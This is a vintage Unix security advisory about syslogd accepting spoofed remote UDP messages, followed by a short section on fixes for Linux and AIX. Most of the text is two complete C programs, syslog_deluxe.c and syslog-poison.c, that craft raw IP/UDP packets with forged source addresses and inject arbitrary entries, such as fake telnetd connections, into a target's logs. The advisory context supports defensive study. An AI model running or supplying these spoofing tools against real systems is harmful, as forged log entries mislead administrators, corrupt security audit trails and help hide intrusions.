COMMAND
syslogd
SYSTEMS AFFECTED
Most unices
PROBLEM
Yuri Volobuev posted following. It is about 'ugly case of
spoofing'. Syslog is every Unix sysadmin's close friend. Very
often, syslog is a major (sometimes the only) way of gathering
various information, including security-related, about a
particular system or network. Some people trust syslog and make
important decisions based on what they see there.
It's trivial to fake any kind of syslog entry using syslog(3)
locally, and this fact is widely known and accepted. What is
less known, however, is that many syslogd implementations have
remote reception turned on by default.
Remote reception is a very simple thing. If syslogd finds an
entry in config file which has @hostname at action field, it send
a message to that host. The idea is OK, but implementation is
not. First, there's no way to control access to your syslogd,
anybody on the net can send you syslog message, and you can't
tell your syslogd to refuse them (well, you can't do this
_easily_, hacking the source is an option, where possible).
Second, the messages are send by the virtue of the wonderful UDP.
This basically nullifies the lack of access control. UDP is so
easy to spoof that there's no point in restricting the access to
the certain clients. There's no protocol for communications
between two syslogds. One sends out a datagram, the second one
receives it, if it makes it through, and that's it. No
acknowledgments of any kind, it's a one way talk. If the
incoming message has it's source IP set to that of the target
system, it'll be output in the syslog file just like any local
entry, and there's no way to distinguish between them.
The program below, syslog_deluxe.c, illustrates this point by
sending out a syslog message with both source and remote IPs
supplied by the user. It was tested to work with syslogds on AIX
4.2, Irix 6.2 and Linux, syslogd 1.3-3 (the one that comes with
RedHat-4.2). It'll work with any other syslogd, as long as remote
reception is on. There's another version also below.
/* syslog_deluxe.c
This program sends a spoofed syslog message. Your have to be
root to run it. Source and target IP addresses, message text,
facility and priority are supplied by the user.
It exploits the fact that many syslogd implementations listen
to port 514/udp and accept whatever datagrams arrive, thus
making it very easy to spoof syslog entries. Some versions of
syslogd allow to turn off this feature, some don't.
The code compiles and works under Linux. Any Unix that has
SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use
BSD-style struct ip though). It may use few improvements,
like checking for possible ICMP Port Unreachable errors in
case the remote machine doesn't run syslogd with remote
reception turned on.
The idea behind this program is a proof of a concept, nothing
more. It comes as is, no warranty. However, you're allowed
to use it under one condition: you must use your brain
simultaneously. If this condition is not met, you shall
forget about this program and go RTFM immediately.
yuri volobuev'97
volobuev@t1.chem.umn.edu
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#define IPVERSION 4
/* This is the stuff that actually gets sent. Feel free to change it */
#define MESSAGE_FAC LOG_DAEMON
#define MESSAGE_PRI LOG_INFO
char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"};
struct raw_pkt_hdr {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct udphdr udp;
};
struct raw_pkt_hdr* pkt;
void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
int sock,packet_len;
char usage[] = {"\
syslog_deluxe, yuri volobuev'97\n\
make syslog look the way you want, here there and everywhere\n\
\t usage: syslog_deluxe src_hostname dst_hostname\n"};
char on = 1;
if(argc != 3)die(usage);
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->udp.source = htons(514);
pkt->udp.dest = htons(514);
pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
pkt->udp.check = 0; /* If you feel like screwing around with pseudo-headers
and stuff, you may of course calculate UDP checksum
as well. I chose to leave it zero, it's usually OK */
sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
(int)(MESSAGE_FAC | MESSAGE_PRI),message);
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}
unsigned long int get_ip_addr(char* str){
struct hostent *hostp;
unsigned long int addr;
if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
Another version of syslog_deluxe.c to allow sending of spoofed
syslog messages from either stdin or the command line.
/*
** syslog-poison.c -- Spoof syslog messages.
**
** By Gamma '98. Based on code by yuri volobuev.
**
** Exploits the fact that many syslogd implementations listen on port 514/udp
** and accept all datagrams that arrive, thus making it very easy to spoof
** syslog entries. Some versions of syslogd allow this feature to be turned
** off, some don't. Sends stdin or argv[3] to the target.
**
** Usage: ./syslog-poison <source> <target> [message]
**
** NB: "message" should contain the syslog priority code.
** eg, "<6>in.telnetd[8377]: connect from root@foo.bar", will log the
** message as informational.
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#define IPVERSION 4
struct raw_pkt_hdr {
struct iphdr ip;
struct udphdr udp;
};
struct raw_pkt_hdr* pkt;
void usage(char *);
int doit(char *, char *, char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*, char);
int main(int argc, char** argv) {
char *source,*target;
char message[512];
if (argc < 3) usage(argv[0]);
source = argv[1];
target = argv[2];
if (argc == 4) {
strcpy(message,argv[3]);
doit(source,target,message);
}
if (argc == 3) {
while (fgets(message, sizeof(message), stdin)) {
doit(source,target,message);
}
}
exit(0);
}
int doit(char *source, char *target, char *message) {
struct sockaddr_in sa;
int sock,packet_len;
char on = 1;
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(target);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(source);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->udp.source = htons(514);
pkt->udp.dest = htons(514);
pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
pkt->udp.check = 0;
sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"%s",message);
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if (sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) {
perror("sendto");
exit(1);
}
}
void usage (char *name) {
fprintf(stderr,"'syslog-poison.c' -- Gamma '98\n");
fprintf(stderr,"-----------------------------------------------------------\n");
fprintf(stderr,"Priority codes from /usr/include/syslog.h\n");
fprintf(stderr,"-----------------------------------------------------------\n");
fprintf(stderr,"LOG_EMERG 0 /* system is unusable */\n");
fprintf(stderr,"LOG_ALERT 1 /* action must be taken immediately */\n");
fprintf(stderr,"LOG_CRIT 2 /* critical conditions */\n");
fprintf(stderr,"LOG_ERR 3 /* error conditions */\n");
fprintf(stderr,"LOG_WARNING 4 /* warning conditions */\n");
fprintf(stderr,"LOG_NOTICE 5 /* normal but signification condition */\n");
fprintf(stderr,"LOG_INFO 6 /* informational */\n");
fprintf(stderr,"LOG_DEBUG 7 /* debug-level messages */\n");
fprintf(stderr,"-----------------------------------------------------------\n");
fprintf(stderr,"Usage: %s <source> <target> [message]\n",name);
exit(1);
}
unsigned long int get_ip_addr(char* str) {
struct hostent *hostp;
unsigned long int addr;
if ((addr = inet_addr(str)) == -1) {
if ((hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %s\n",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len) {
register long sum = 0;
while(len > 1) {
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
SOLUTION
The fix for all that would be turning off remote reception.
Unfortunately, it can't always be done. Linux syslogd 1.3 has
this option, and remote reception if off by default. AIX and
Irix users are not so fortunate. It's on and can't be turned off
in any obvious way, other than killing syslogd.
The IBM-ERS team pointed this out earlier and they are currently
in the build and test phase for the following APARs:
Abstract: "SECURITY: syslog denial-of-service vulnerability"
APAR 4.1: IX70659
APAR 4.2: IX70660
There's a temporary fix available via anonymous ftp from:
ftp://testcase.software.ibm.com/aix/fromibm/security.syslogd.tar.Z
The AIX fix will include a new "-r" option that will turn off
remote message logging. (Note that by default, remote messages
will still be accepted. The AIX "-r" option is backward from the
way that the Linux syslogd works.)